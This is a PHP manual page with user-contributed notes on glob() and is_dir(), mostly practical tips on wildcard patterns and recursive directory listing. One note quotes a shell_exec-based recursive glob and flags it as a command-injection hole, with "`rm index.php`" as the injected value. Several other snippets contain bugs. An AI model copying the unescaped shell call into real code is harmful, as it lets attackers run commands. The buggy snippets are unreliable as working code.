    match_wildcard('*a?d*', $test),     // TRUE
    match_wildcard('*etc**', $test)     // TRUE
);
?>
r dot hartung at roberthartung dot de 04-May-2009 09:34
You can use multiple asterisks with the glob() - function.

Example:

<?php
  $paths = glob('my/*/dir/*.php');
?>

$paths will contains paths as following examples:

- my/1/dir/xyz.php
- my/bar/dir/bar.php
- my/bar/dir/foo.php
crayonviolent at phpfreaks dot com 17-Jan-2009 08:50
Since I feel this is rather vague and non-helpful, I thought I'd make a post detailing the mechanics of the glob regex.

glob uses two special symbols that act like sort of a blend between a meta-character and a quantifier.  These two characters are the * and ?

The ? matches 1 of any character except a /
The * matches 0 or more of any character except a /

If it helps, think of the * as the pcre equivalent of .* and ? as the pcre equivalent of the dot (.)

Note: * and ? function independently from the previous character. For instance, if you do glob("a*.php") on the following list of files, all of the files starting with an 'a' will be returned, but * itself would match:

a.php // * matches nothing
aa.php // * matches the second 'a'
ab.php // * matches 'b'
abc.php // * matches 'bc'
b.php // * matches nothing, because the starting 'a' fails
bc.php // * matches nothing, because the starting 'a' fails
bcd.php // * matches nothing, because the starting 'a' fails

It does not match just a.php and aa.php as a 'normal' regex would, because it matches 0 or more of any character, not the character/class/group before it.

Executing glob("a?.php") on the same list of files will only return aa.php and ab.php because as mentioned, the ? is the equivalent of pcre's dot, and is NOT the same as pcre's ?, which would match 0 or 1 of the previous character.

glob's regex also supports character classes and negative character classes, using the syntax [] and [^]. It will match any one character inside [] or match any one character that is not in [^].

With the same list above, executing

glob("[ab]*.php) will return (all of them):
a.php  // [ab] matches 'a', * matches nothing
aa.php // [ab] matches 'a', * matches 2nd 'a'
ab.php // [ab] matches 'a', * matches 'b'
abc.php // [ab] matches 'a', * matches 'bc'
b.php // [ab] matches 'b', * matches nothing
bc.php // [ab] matches 'b', * matches 'c'
bcd.php // [ab] matches 'b', * matches 'cd'

glob("[ab].php") will return a.php and b.php

glob("[^a]*.php") will return:
b.php // [^a] matches 'b', * matches nothing
bc.php // [^a] matches 'b', * matches 'c'
bcd.php // [^a] matches 'b', * matches 'cd'

glob("[^ab]*.php") will return nothing because the character class will fail to match on the first character.

You can also use ranges of characters inside the character class by having a starting and ending character with a hyphen in between.  For example, [a-z] will match any letter between a and z, [0-9] will match any (one) number, etc..

glob also supports limited alternation with {n1, n2, etc..}.  You have to specify GLOB_BRACE as the 2nd argument for glob in order for it to work.  So for example, if you executed glob("{a,b,c}.php", GLOB_BRACE) on the following list of files:

a.php
b.php
c.php

all 3 of them would return.  Note: using alternation with single characters like that is the same thing as just doing glob("[abc].php").  A more interesting example would be glob("te{xt,nse}.php", GLOB_BRACE) on:

tent.php
text.php
test.php
tense.php

text.php and tense.php would be returned from that glob.

glob's regex does not offer any kind of quantification of a specified character or character class or alternation.  For instance, if you have the following files:

a.php
aa.php
aaa.php
ab.php
abc.php
b.php
bc.php

with pcre regex you can do ~^a+\.php$~ to return

a.php
aa.php
aaa.php

This is not possible with glob.  If you are trying to do something like this, you can first narrow it down with glob, and then get exact matches with a full flavored regex engine.  For example, if you wanted all of the php files in the previous list that only have one or more 'a' in it, you can do this:

<?php
   $list = glob("a*.php");
   foreach ($list as $l) {
      if (preg_match("~^a+\.php$~",$file))
         $files[] = $l;
   }
?>

glob also does not support lookbehinds, lookaheads, atomic groupings, capturing, or any of the 'higher level' regex functions.

glob does not support 'shortkey' meta-characters like \w or \d.
carlos dot lage at nospam at foo dot bar at gmail dot com 18-Oct-2008 03:18
I lost hours looking for the solution for this problem.
glob() wasn't eating up my directory names (stuff like "foobar[]"), and I searched online for some hours, I tried preg_quote to no avail.

I finally found the proper way to escape stuff in glob() in an obscure Python mailing list:

<?php
preg_replace('/(\*|\?|\[)/', '[$1]', $dir_path);
?>

If you want to add a directory path before your pattern, you should do it like this:

<?php
glob(preg_replace('/(\*|\?|\[)/', '[$1]', $dir_path).'*.txt');
?>
preg_quote WILL NOT work in all cases (if any).
vidmantas dot norkus at neo dot lt 22-Aug-2008 03:00
My version of recursive glob
<?php
function all_files($dir)
{
    $files = Array();
    $file_tmp= glob($dir.'*',GLOB_MARK | GLOB_NOSORT);

    foreach($file_tmp as $item){
        if(substr($item,-1)!=DIRECTORY_SEPARATOR)
            $files[] = $item;
        else
            $files = array_merge($files,all_files($item));
    }

    return $files;
}
?>
heavyraptor at gmail dot com 19-May-2008 01:56
glob() (array_sum() and array_map() in fact too) can be very useful if you want to calculate the sum of all the files' sizes located in a directory:

<?php
$bytes = array_sum(array_map('filesize',glob('*')));
?>

Unfortunately there's no way to do this recursively, using glob() (as far as I know).
pope at q dot com 24-Apr-2008 03:08
alan at ridersite dot org 18-Mar-2007 03:26 -- Stated '*.*' is the same as '*' -- This is not true as * alone will return directories too and *.* will only return files with an extension such as .pdf or .doc or .php.
alan at synergymx dot com 15-Apr-2008 09:08
Here is a function that returns specific files in an array, with all of the details. Includes some basic garbage checking.

Variables

$source_folder // the location of your files
$ext // file extension you want to limit to (i.e.: *.txt)
$sec // if you only want files that are at least so old.

The function

function glob_files($source_folder, $ext, $sec, $limit){
    if( !is_dir( $source_folder ) ) {
        die ( "Invalid directory.\n\n" );
    }

    $FILES = glob($source_folder."\*.".$ext);
    $set_limit    = 0;

    foreach($FILES as $key => $file) {

        if( $set_limit == $limit )    break;

        if( filemtime( $file ) > $sec ){

            $FILE_LIST[$key]['path']    = substr( $file, 0, ( strrpos( $file, "\\" ) +1 ) );
            $FILE_LIST[$key]['name']    = substr( $file, ( strrpos( $file, "\\" ) +1 ) );
            $FILE_LIST[$key]['size']    = filesize( $file );
            $FILE_LIST[$key]['date']    = date('Y-m-d G:i:s', filemtime( $file ) );
            $set_limit++;

        }

    }
    if(!empty($FILE_LIST)){
        return $FILE_LIST;
    } else {
        die( "No files found!\n\n" );
    }
}

So....

$source_folder = "c:\temp\my_videos";
$ext = "flv"; // flash video files
$sec = "7200"; // files older than 2 hours
$limit = 2;

print_r(glob_files($source_folder, $ext, $sec, $limit));

Would return:

Array
(
    [0] => Array
        (
            [path] => c:\temp\my_videos\
            [name] => fluffy_bunnies.flv
            [size] => 21160480
            [date] => 2007-10-30 16:48:05
        )

    [1] => Array
        (
            [path] => c:\temp\my_videos\
            [name] => synergymx.com.flv
            [size] => 14522744
            [date] => 2007-10-25 15:34:45
        )
eric at muyser dot com 11-Apr-2008 05:31
As a follow up to recursively determining all paths (by viajy at yoyo dot org) and opendir being faster than glob (by Sam Yong - hellclanner at live [dot] com).

The list all dirs code didn't seem to work, at least on my server (provided by parazuce [at] gmail [dot] com).

I needed a function to create an unlimited multidimensional array, with the names of the folders/files intact (no realpath's, although that is easily possible). This is so I can simply loop through the array, create an expandable link on the folder name, with all the files inside it.

This is the correct way to recurse I believe (no static, return small arrays to build up the multidimensional array), and includes a check for files/folders beginning with dots.

// may need modifications

function list_files($path)
{
    $files = array();

    if(is_dir($path))
    {
        if($handle = opendir($path))
        {
            while(($name = readdir($handle)) !== false)
            {
                if(!preg_match("#^\.#", $name))
                if(is_dir($path . "/" . $name))
                {
                    $files[$name] = list_files($path . "/" . $name);
                }
                else
                {
                    $files[] = $name;
                }
            }

            closedir($handle);
        }
    }

    return $files;
}

print_r(list_files("/path/to/folder"));

// example usage

function list_html($list)
{
    $html = "";

    foreach($list as $folder => $file)
    {
        if(is_array($list[$folder]))
        {
            $html .= "> (folder) " . $folder . "<br>";
            $html .= list_html($list[$folder]);
        }
        else
        {
            $html .= " (file) " . $file . "<br>";
        }
    }

    return $html;
}

echo list_html(list_files("/path/to/folder"));
parazuce [at] gmail [dot] com 31-Mar-2008 02:47
As a response to a post by viajy at yoyo dot org on 10-Feb-2007 04:50, he posted the following code:
<?php
function listdirs($dir) {
    static $alldirs = array();
    $dirs = glob($dir . '/*', GLOB_ONLYDIR);
    if (count($dirs) > 0) {
        foreach ($dirs as $d) $alldirs[] = $d;
    }
    foreach ($dirs as $dir) listdirs($dir);
    return $alldirs;
}
?>

It is not best practice to use recursive functions like that, so I wrote a safe (non-recursive) function below:

<?php
function listdirs_safe($start)
{
    $dir  = $start;
    $dirs = array();
    $next = 0;

    while (true)
    {
        $_dirs = glob($dir.'/*', GLOB_ONLYDIR);

        if (count($_dirs) > 0)
        {
            foreach ($_dirs as $key => $_dir)
                $dirs[] = $_dir;
        }
        else
            break;

        $dir = $dirs[$next++];
    }

    return $dirs;
}
?>

Example:

print_r(listdirs_safe('*'));

Output:
Array
(
    [0] => Dummy folder/Dummy folder 2
    [1] => Dummy folder/Dummy folder 2/Dummy Folder 3
    [2] => Dummy folder/Dummy folder 2/Dummy Folder 3/4
    [3] => Dummy folder/Dummy folder 2/Dummy Folder 3/Dummy folder 4
    [4] => Dummy folder/Dummy folder 2/Dummy Folder 3/4/5
)
bisqwit at iki dot fi 02-Mar-2008 12:46
Pomle.com wrote:
> Here's a function that behaves as a recursive glob(). It does
> rely on shell command find, but works like a charm.
> function glob_rec($pattern, $path) {
>    return explode("\n", shell_exec("find $path -name $pattern"));
> }

Do note that this command has a security hole.
If the $path or $pattern given includes special characters, for example a command substitution such as "`rm index.php`", the shell will process it and execute that command.

You can fix the problem by either escaping the characters properly (use shell_escape) or by writing a function that actually calls glob(), or opendir()/readdir()/closedir(), recursively.
sean at syosoft dot com 16-Nov-2007 11:48
Run your directory + "file pattern" through preg_quote to get around [ ] / etc issues...glob uses pattern matching.
josh at servebyte dot com 23-Jul-2007 02:55
To:  martinlarsen at bigfoot dot com (14-Jun-2007 01:13)

[quote]
glob() does not work if the path contains brackets "[" and "]".

For example, this will make it fail:

$files = glob("[myfolder]/*.txt");

No error is returned, just an empty array!
[/quote]

Hi there,
if you backslash the brackets, it should work. Try:
$files = glob("\[myfolder\]/*.txt");
Hope this helps.
Sam Yong - hellclanner at live [dot] com 18-Jul-2007 02:31
An alternative to this glob function. Like what edogs [at] dogsempire.com said, opendir should be faster than glob. I have not tested timing for this function but it works perfectly for me on my PHP v5.2.2 server.

<?php

$_foo ='/server/public_html/path/';

function s_glob($dir){
$files = array();
if(is_dir($dir)){
    if($dh=opendir($dir)){
    while(($file = readdir($dh)) !== false){
        $files[]=$dir.$file;
    }}
}
return $files;
}

print_r(s_glob($_foo));

?>

This function returns an empty array if no files are found in the directory or the path specified is not a directory.
martinlarsen at bigfoot dot com 14-Jun-2007 02:13
glob() does not work if the path contains brackets "[" and "]".

For example, this will make it fail:

$files = glob("[myfolder]/*.txt");

No error is returned, just an empty array!
nataxia at gmail dot com 08-May-2007 01:05
Something I used to sort dir & subdir into array (multidimensional) reflecting dir structure.

    function getRecursiveFolderList($curDir,$currentA=false)
      {
        $dirs = glob($curDir . '/*', GLOB_ONLYDIR);

        $cur = 0;
        foreach($dirs as $dir)
          {
            $currentA[$cur]['path'] = $dir;
            $currentA[$cur] = $this->getRecursiveFolderList($dir,$currentA[$cur]);

            ++$cur;
          }

        return $currentA;
      }
25-Mar-2007 05:41
Reply to ny_obaATgmxDOTnet:

You could also use sql_regcase() to build a pattern for case insensitive matches.
You may also want to set the locale before, so it is used when building the pattern.

<?php

$pattern = sql_case("*.pdf");

var_dump(glob($pattern));

?>

should therefore match file.pdf AND OtherFile.PDF

See http://www.php.net/sql_regcase for more information.
alan at ridersite dot org 18-Mar-2007 08:26
A couple of notes:
glob() handles symbolic filesystem links and resolves references to './', '../'  nicely and handles an extra '/' character , at least on X-systems. e.g., glob("../*") will do next higher dir.

This is good to use so warnings or errors show as "../foo" and not your system's full path.

Several of the examples use a notation "*.*" when just plain "*" does the same thing.  The "*.*" notation is misleading as it implies foo.ext will not be found with "*" because the "." is not present.

Watch the flags must not be strings. They are defined constants. Thus,
glob("../*", GLOB_ONLYDIR)  works;
glob("../*", "GLOB_ONLYDIR")  does not.
viajy at yoyo dot org 10-Feb-2007 01:50
this is a recursive function i wrote to return an array of all subdirectories of a dir

function listdirs($dir) {
    static $alldirs = array();
    $dirs = glob($dir . '/*', GLOB_ONLYDIR);
    if (count($dirs) > 0) {
        foreach ($dirs as $d) $alldirs[] = $d;
    }
    foreach ($dirs as $dir) listdirs($dir);
    return $alldirs;
}

example:
print_r(listdirs('/some/path'));
lesion at autistici dot org 04-Dec-2006 05:14
Maybe all of you still know this, but it seems that if the directory contains some unresolved symlink, glob() simply ignore those files.
torch at torchsdomain dot com 22-Nov-2006 09:25
Here is simple function that will find and remove all files (except "." ones) that match the expression ($match, "*" as wildcard) under starting directory ($path) and all other directories under it.

function rfr($path,$match){
   static $deld = 0, $dsize = 0;
   $dirs = glob($path."*");
   $files = glob($path.$match);
   foreach($files as $file){
      if(is_file($file)){
         $dsize += filesize($file);
         unlink($file);
         $deld++;
      }
   }
   foreach($dirs as $dir){
      if(is_dir($dir)){
         $dir = basename($dir) . "/";
         rfr($path.$dir,$match);
      }
   }
   return "$deld files deleted with a total size of $dsize bytes";
}
guilleva at gmail dot com 20-Oct-2006 05:54
In some systems (AIX for example) GLOB_BRACE isn't defined and you get the error:
glob() expects parameter 2 to be long, string given in /XX/XX.php

<?

foreach (glob("{*.pdf,*.PDF}",GLOB_BRACE ) as $filename) {
      echo "$filename \n";
}

?>

The method may help you in this case.

<?

foreach (array_merge(glob("*.pdf"),glob("*.PDF")) as $filename) {
      echo "$filename \n";
}

?>
joseph dot morphy at gmail dot com 16-Aug-2006 08:01
<?php
$html_array = glob("*.html");

function sort_by_mtime($file1,$file2) {
    $time1 = filemtime($file1);
    $time2 = filemtime($file2);
    if ($time1 == $time2) {
        return 0;
    }
    return ($time1 < $time2) ? 1 : -1;
    }

usort($html_array,"sort_by_mtime");
//$html_array is now ordered by the time it was last modified
?>
redcube at gmx dot de 14-Aug-2006 11:22
The answer for the difference in the dirsize function of "management at twilightus dot net":

glob('*') ignores all 'hidden' files by default. This means it does not return files that start with a dot (e.g. ".file").
If you want to match those files too, you can use "{,.}*" as the pattern with the GLOB_BRACE flag.

<?php
// Search for all files that match .* or *
$files = glob('{,.}*', GLOB_BRACE);
?>

Note: This also returns the directory special entries . and ..
management at twilightus dot net 10-Aug-2006 09:40
I was making a directory filesize function but found there's a slight difference between glob and readdir in terms of getting sizes.

<?php
function dirsize_glob($dir)
{
    $size = 0;
    $dir .= (!ereg('/$', $dir)) ? '/' : '';

    foreach (glob($dir . '*') as $file)
    {
        $size += (is_dir($file)) ? dirsize_glob($file) : filesize($file);
    }

    return $size;
}

function dirsize_readdir($dir)
{
    $size = 0;
    $dir .= (!ereg('/$', $dir)) ? '/' : '';

    $handle = opendir($dir);
    while (($file = readdir($handle)) !== FALSE)
    {
        if (!ereg('^\.{1,2}$', $file))
        {
            $size += (is_dir($dir . $file)) ? dirsize_readdir($dir . $file) : filesize($dir . $file);
        }
    }
    closedir($handle);

    return $size;
}
?>

For a directory that's 529216 bytes, readdir correctly gives 529216 while glob gives 528996, a difference of 220 bytes. Anyone know why there's such a difference?
okumurya at hotmail dot com 19-Jul-2006 11:25
4.3.8 and 4.4.2 has incompatible behavior.
If there is no glob result, 4.4.2 return empty array but 4.3.8 returns FALSE.

code:
<?php
$a = glob('hoge');
var_dump($a);
?>

result at 4.3.8:
 bool(false)

result at 4.4.2:
 array(0) {
 }
c_windows_temp at hotmail dot com 07-Jun-2006 01:53
Note that this function does not list broken symbolic links.
edogs [at] dogsempire.com 04-Mar-2006 02:34
funny enough, but our testing opendir VS glob

show advantage of opendir by speed

0.00115704536438
and
0.0068039894104

or if to pass 200 times
0.210277080536
vs
1.2976038456
info at urbits dot com 06-Jan-2006 01:26
I have been working towards a CMS-type design that is both modular and quite flat. For example, included files are all one level below the installation folder.

glob() just help me get rid of a lot of opendir() hassle. I wasn't sure if the double asterix would work - but it's fine:

foreach (glob(SERVER_PATH."/*/includes/*.php") as $inc) {
   require($inc);
}
admiral [at] nuclearpixel [dot] com 23-Nov-2005 05:38
I've written a function that I've been using quite a lot over the past year or so. I've built whole websites and their file based CMSs based on this one function, mostly because (I think) databases are not as portable as groups of files and folders. In previous versions, I used opendir and readdir to get contents, but now I can do in one line what used to take several. How? Most of the work in the whole script is done by calling

glob("$dir/*")

Giving me an array containing the names of the items in the folder, minus the ones beginning with '.', as well as the ones I specify.

<?php

/* alpharead version 3: This function returns an array containing the names of the files inside any given folder, excluding files that start with a '.', as well as the filenames listed in the '$killit' array. This array is sorted using the 'natural alphabetical' sorting manner. If no input is given to the function, it lists items in the script's interpreted folder. Version 3 fixes a MAJOR bug in version 2 which corrupted certain arrays with greater than 5 keys and one of the supposedly removed filenames.
written by Admiral at NuclearPixel.com */

function alpharead3($dir){
if(!$dir){$dir = '.';}
foreach(glob("$dir/*") as $item){$sort[]= end(explode('/',$item));}

$killit = array('index.html', 'index.php', 'thumbs.db', 'styles.css');
$killcounter = 0;
foreach($sort as $sorteditem){
foreach($killit as $killcheck){
if(strtolower($sorteditem) == strtolower($killcheck))
{unset($sort[$killcounter]);}
}$killcounter++;}
if($sort){natsort($sort);}
foreach($sort as $item){$return[]= $item;}

if(!$return){return array();}
return $return;
}

//some basic usage

$folder = 'images';
foreach(alpharead3($folder) as $item)
{
echo '<img src="'.$folder.'/'.$item.'"><br>'.$item."\n";
}

?>

Commens on this function are welcome!
Jacob Eisenberg 06-Oct-2005 07:55
Note that on Windows, glob distinguishes between uppercase and lowercase extensions, so if the directory contains a file "test.txt" and you glob for "*.TXT" then the file will not be found!
That bug only happens when you use patterns containing "*", like the example above. If you for example search for the full filename "test.TXT" then everything works correctly.
DMan 28-Aug-2005 09:59
Whilst on Windows, a path starting with a slash resolves OK for most file functions - but NOT glob.
If the server is LAUNCHED (or chdir()ed) to W:, then
file_exists("/temp/test.txt")
returns true for the file "W:/temp/test.txt".
But glob("/temp/*.txt") FAILS to find it!

A solution (if you want to avoid getting drive letters into your code) is to chdir() first, then just look for the file.
<?php
$glob="/temp/*.txt";
chdir(dirname($glob));
// getcwd() is now actually "W:\temp" or whatever

foreach (glob(basename($glob)) as $filename) {
   $filepath = dirname($glob)."/".$filename; // must re-attach full path
   echo "$filepath size " . filesize($filepath) . "\n";
}
?>

Note also, glob() IS case sensitive although most other file funcs on Windows are not.
x_terminat_or_3 at yahoo dot country:fr 07-Jul-2005 12:36
This is a replacement for glob on servers that are running a php version < 4.3

It supports * and ? jokers, and stacking of parameters with ;

So you can do

<? $results=glob('/home/user/*.txt;*.doc') ?>

And it will return an array of matched files.

As is the behaviour of the built-in glob function, this one will also return boolean false if no matches are found, and will use the current working directory if none is specified.

<?php
if(!(function_exists('glob')))
{function glob($pattern)
 {#get pathname (everything up until the last / or \)
  $path=$output=null;
  if(PHP_OS=='WIN32')
   $slash='\\';
  else
   $slash='/';
  $lastpos=strrpos($pattern,$slash);
  if(!($lastpos===false))
  {$path=substr($pattern,0,-$lastpos-1); #negative length means take from the right
   $pattern=substr($pattern,$lastpos);
  }
  else
  {#no dir info, use current dir
   $path=getcwd();
  }
  $handle=@ opendir($path);
  if($handle===false)
   return false;
  while($dir=readdir($handle))
  {if(pattern_match($pattern,$dir))
    $output[]=$dir;
  }
  closedir($handle);
  if(is_array($output))
   return $output;
  return false;
 }

 function pattern_match($pattern,$string)
 {#basically prepare a regular expression
  $out=null;
  $chunks=explode(';',$pattern);
  foreach($chunks as $pattern)
  {$escape=array('$','^','.','{','}',
                 '(',')','[',']','|');
   while(strpos($pattern,'**')!==false)
    $pattern=str_replace('**','*',$pattern);
   foreach($escape as $probe)
    $pattern=str_replace($probe,"\\$probe",$pattern);
   $pattern=str_replace('?*','*',
             str_replace('*?','*',
              str_replace('*',".*",
               str_replace('?','.{1,1}',$pattern))));
   $out[]=$pattern;
  }
  if(count($out)==1)
   return(eregi("^$out[0]$",$string));
  else
   foreach($out as $tester)
    if(eregi("^$tester$",$string))
     return true;
   return false;
 }
}
?>

This function is case insensitive, but if needed, you can do this to make it behave depending on os:

* replace eregi in the example with my_regexp

add this function
<?php
function my_regexp($pattern,$probe)
{$sensitive=(PHP_OS!='WIN32');
  $sensitive=false;
 return ($sensitive?
     ereg($pattern,$probe):
     eregi($pattern,$probe));
}
?>
Michael T. McGrew 17-May-2005 04:12
Take all file names in the directory and put them in a link.
<?php
foreach (glob("*.*") as $filename)
{
   echo "<a href=\"".$filename."\">".$filename."</a><br/>";
}
?>
cgamedude at yahoo dot com 05-May-2005 12:38
Here is the *correct* way to do a reverse-alphabetical search:
<?
$Results = glob( 'blah.*' );
rsort( $Results );
?>
There now, wasn't that easy? :)
Deviant 05-Apr-2005 01:53
A slight edit on the globr() function stated by sthomas. This does exactly the same just works on windows systems for < PHP 4.3.3. :

<?php

function globr($sDir, $sPattern, $nFlags = NULL) {
    $aFiles = glob("$sDir/$sPattern", $nFlags);
    $files = getDir($sDir);
    if (is_array($files)) {
        foreach( $files as $file ) {
            $aSubFiles = globr($file, $sPattern, $nFlags);
            $aFiles = array_merge($aFiles,$aSubFiles);
        }
    }
    return $aFiles;
}

function getDir($sDir) {
    $i=0;
    if(is_dir($sDir)) {
        if($rContents = opendir($sDir)) {
            while($sNode = readdir($rContents)) {
                if(is_dir($sDir.'/'.$sNode )) {
                    if($sNode !="." && $sNode !="..") {
                        $aDirs[$i] = $sDir.'/'.$sNode ;
                        $i++;
                    }
                }
            }
        }
    }
    return $aDirs;
}

?>
cjcommunications at gmail dot com 01-Apr-2005 02:02
Here is a way I used glob() to browse a directory, pull the file name out, resort according to the most recent date and format it using date(). I called the function inside a <select> and had it go directly to the PDF file:

function browsepdf(){
    $pdffile=glob("printable/*.pdf");
    rsort($pdffile);
    foreach($pdffile as $filename){
        $filename=ltrim($filename, "printable/");
        $filename=rtrim($filename, ".pdf");
        $file=$filename;
        $datetime=strtotime($filename);
        $newdate=strtotime("+3 days",$datetime);
        $filenamedate=date("F d", $datetime);
        $filenamedate.=" - ".date("F d, Y", $newdate);
        echo "<option value='$file'>$filenamedate</option>";
    }
}
fraggy(AT)chello.nl 24-Mar-2005 12:23
glob caused me some real pain in the buttom on windows, because of the DOS thing with paths (backslashes instead of slashes)...

This was my own fault because I "forgot" that the backslash, when used in strings, needs to be escaped, but well, it can cause a lot of confusion, even for people who are not exactly newbies anymore...

For some reason, I didn't have this problem with other file operations (chdir, opendir, etc...), which was the most confusing of all...

So, for people running scripts on Windows machines (Dos95, 98 or WinNT or DosXP), just remember this:

glob('c:\temp\*.*'); // works correctly, returns an array with files.
glob("c:\temp\*.*"); // does NOT work... the backslashes need to be escaped...
glob("c:\\temp\\*.*"); // that works again...

This is especially confusing when temporary writable directories are returned as an unescaped string.

$tempdir = getenv('TEMP');
// this returns "C:\DOCUME~1\user\LOCALS~1\Temp"
so in order to scan that directoy I need to do:

glob($tempdir . "\\*.*");

Or perhaps it's easier to replace all backslashes with slashes in order to avoid these kinds of confusions...

glob("c:/temp/*.*"); // works fine too...

I know I'm not contributing anything new here, but I just hope this post may avoid some unnecessary headaches...
NOSPAM sketch at infinite dot net dot au 15-Mar-2005 02:05
in the example below, i found i got an error if the directory was empty.

<?php
foreach (glob("*.txt") as $filename) {
   echo "$filename size " . filesize($filename) . "\n";
}
?>

I think its because glob()'ing an empty directory returns false, and so calling foreach (false as $value) will obviously break.

to fix this, i did the following:
<?php
$files = glob("*.txt) or array(); // give it an empty array if the directory is empty or glob fails otherwise
   echo "$filename size " . filesize($filename) . "\n";
}
?>

Hope this helps someone
29-Jan-2005 11:09
Be aware...

On Windows you need to add "/" mark:
<?php
$files = glob("/dir/*.txt"); // Works properly.
$files = glob("dir/*.txt"); // Failure!, first letter is missing on every filename!
?>

On Unix you cant add the "/" mark:
<?php
$files = glob("dir/*.txt"); // Works properly.
$files = glob("/dir/*.txt"); // No files found!
?>

Hope this will save your time :)
23-Jan-2005 10:54
The example on this page will generate a warning if the glob function does not find any filenames that match the pattern.

The glob function result will only be an array if it finds some files and the foreach statement requires its argument to be an array.

By checking for the possibility that the result of the glob function may not be an array you can eliminate the warning.

Here's a better example:

<?php
$matches = glob("*.txt");
if ( is_array ( $matches ) ) {
   foreach ( $matches as $filename) {
      echo "$filename size " . filesize($filename) . "\n";
   }
}
?>
Per Lundberg 25-Nov-2003 04:57
Be aware that on UNIX, * as the pattern will *not* match dot-files and dot-directories.  Knowing this will save you some headache.  :-)  May He bless you.
MichaelSoft 06-Nov-2003 12:28
Note that, in some configurations, the search is case-sensitive! You'll need to have something like:

<?php
$images = glob("/path/to/images/{*.jpg,*.JPG}", GLOB_BRACE);
?>

Also on some servers, I have seen such scripts 'crash' with an CGI Error ("...not returning a complete set of HTTP headers...") when glob could not find any match!
ryan at wonko dot com 30-Oct-2003 08:03
Here's an example of how to use the GLOB_BRACE flag:

<?php
$images = glob("/path/to/images/{*.gif,*.jpg,*.png}", GLOB_BRACE);
?>

It's also worth noting that when using the GLOB_BRACE flag in any version of PHP prior to 4.3.4, PHP will crash if no matches are found.
sthomas at townnews dot com 12-Mar-2003 12:41
<?php
/**
 * Recursive version of glob
 *
 * @return array containing all pattern-matched files.
 *
 * @param string $sDir      Directory to start with.
 * @param string $sPattern  Pattern to glob for.
 * @param int $nFlags       Flags sent to glob.
 */
function globr($sDir, $sPattern, $nFlags = NULL)
{
  $sDir = escapeshellcmd($sDir);

  // Get the list of all matching files currently in the
  // directory.

  $aFiles = glob("$sDir/$sPattern", $nFlags);

  // Then get a list of all directories in this directory, and
  // run ourselves on the resulting array.  This is the
  // recursion step, which will not execute if there are no
  // directories.

  foreach (glob("$sDir/*", GLOB_ONLYDIR) as $sSubDir)
  {
    $aSubFiles = rglob($sSubDir, $sPattern, $nFlags);
   $aFiles = array_merge($aFiles, $aSubFiles);
  }

  // The array we return contains the files we found, and the
  // files all of our children found.

  return $aFiles;
}

?>
martin dot rode at zeroscale dot com 19-Feb-2003 08:37
If you don't have PHP >= 4.3 available and don't want to hassle with PHP (:-) do something like this on GNU/Linux:

<?php
foreach (explode("\n",`find -type d -maxdepth 1 ! -name ".*" -printf "%f\n" `) as $dirname) {
    print $dirname;
}
?>

With the "find" you can "glob" whatever you like.
tmm at aon dot at 22-Dec-2002 01:50
I have written my own function for searching files, but it only supports ? and *
However it should be easily expandable.

<?php
// e.g. $matches=GetMachingFiles(GetContents("."),"*.txt");
function GetMatchingFiles($files, $search) {

    // Split to name and filetype
    if(strpos($search,".")) {
      $baseexp=substr($search,0,strpos($search,"."));
      $typeexp=substr($search,strpos($search,".")+1,strlen($search));
    } else {
      $baseexp=$search;
      $typeexp="";
    }

    // Escape all regexp Characters
    $baseexp=preg_quote($baseexp);
    $typeexp=preg_quote($typeexp);

    // Allow ? and *
    $baseexp=str_replace(array("\*","\?"), array(".*","."), $baseexp);
    $typeexp=str_replace(array("\*","\?"), array(".*","."), $typeexp);

    // Search for Matches
    $i=0;
    foreach($files as $file) {
      $filename=basename($file);

      if(strpos($filename,".")) {
        $base=substr($filename,0,strpos($filename,"."));
        $type=substr($filename,strpos($filename,".")+1,strlen($filename));
      } else {
        $base=$filename;
        $type="";
      }

      if(preg_match("/^".$baseexp."$/i",$base) && preg_match("/^".$typeexp."$/i",$type))  {
        $matches[$i]=$file;
        $i++;
      }
    }
    return $matches;
}

And if someone's searching for a function which gets all files from a directory including the subdirectories:

// Returns all Files contained in given dir, including subdirs
function GetContents($dir,$files=array()) {
  if(!($res=opendir($dir))) exit("$dir doesn't exist!");
  while(($file=readdir($res))==TRUE)
    if($file!="." && $file!="..")
      if(is_dir("$dir/$file")) $files=GetContents("$dir/$file",$files);
        else array_push($files,"$dir/$file");

  closedir($res);
  return $files;
}

?>
opessin at ifrance dot com 07-Jul-2002 12:48
If this function is not available in your version of PHP, think looking at the 'Directory Functions' which can be used instead.
http://www.php.net/manual/en/ref.dir.php


Tells whether the filename is a directory

  • « glob
  • is_executable »
  • PHP Manual
  • Filesystem Functions
  • Tells whether the filename is a directory

is_dir

(PHP 4, PHP 5)

is_dir — Tells whether the filename is a directory

Description

bool is_dir ( string $filename )

Tells whether the given filename is a directory.

Parameters

filename

Path to the file. If filename is a relative filename, it will be checked relative to the current working directory. If filename is a symbolic or hard link then the link will be resolved and checked. If you have enabled safe mode, or open_basedir further restrictions may apply.

Return Values

Returns TRUE if the filename exists and is a directory, FALSE otherwise.

Examples

Example #1 is_dir() example

<?php
var_dump(is_dir('a_file.txt'));
var_dump(is_dir('bogus_dir/abc'));

var_dump(is_dir('..')); //one dir up
?>

The above example will output:

bool(false)
bool(false)
bool(true)

Errors/Exceptions

Upon failure, an E_WARNING is emitted.

Notes

Note: The results of this function are cached. See clearstatcache() for more details.

Tip

As of PHP 5.0.0, this function can also be used with some URL wrappers. Refer to Supported Protocols and Wrappers to determine which wrappers support stat() family of functionality.

See Also

  • chdir() - Change directory
  • dir() - Return an instance of the Directory class
  • opendir() - Open directory handle
  • is_file() - Tells whether the filename is a regular file
  • is_link() - Tells whether the filename is a symbolic link

User Contributed Notes

niceuser at live dot com 11-Apr-2013 04:20
PITFALL in sub dir processing

After struggeling with a sub-dir processing (some subdirs were skipped) AND reading the posts, I realized that virutally no-one clearly told what were wrong.

The common traverse dir code was:
-----------------------------------------

opendir("myphotos"); // Top dir to process from (example)

while (false !== ($fname = readdir($h_dir))) { // process current dir (read a directory entry)

   if ($fname{0} == '.') continue; // skip dirs . and .. by first char test

   if (is_dir($fname)) call_own_subdir_process;  // process this subdir by calling a routine

   }

PROBLEM IS :

The "is_dir()" must have the FULL PATH or it will skip some dirs. So the above code need to INSERT THE PATH before the filename. This would give this change in above...

   if (is_dir("myphotos\" . $fname)) call_own_subdir_process;  // skip subdirs

The pitfall really was, that without full path some subdirs were found...hope this clears all up
Victor 13-Mar-2013 12:37
If you are using Mac, or others systems that store information about the directory layout and etc, the function:

   function empty_dir($dir) {
        if (($files = @scandir($dir)) && count($files) <= 3)
            return true;
        else
            return false;
    }

Must have the count($files) comparing with the number of hidden files!

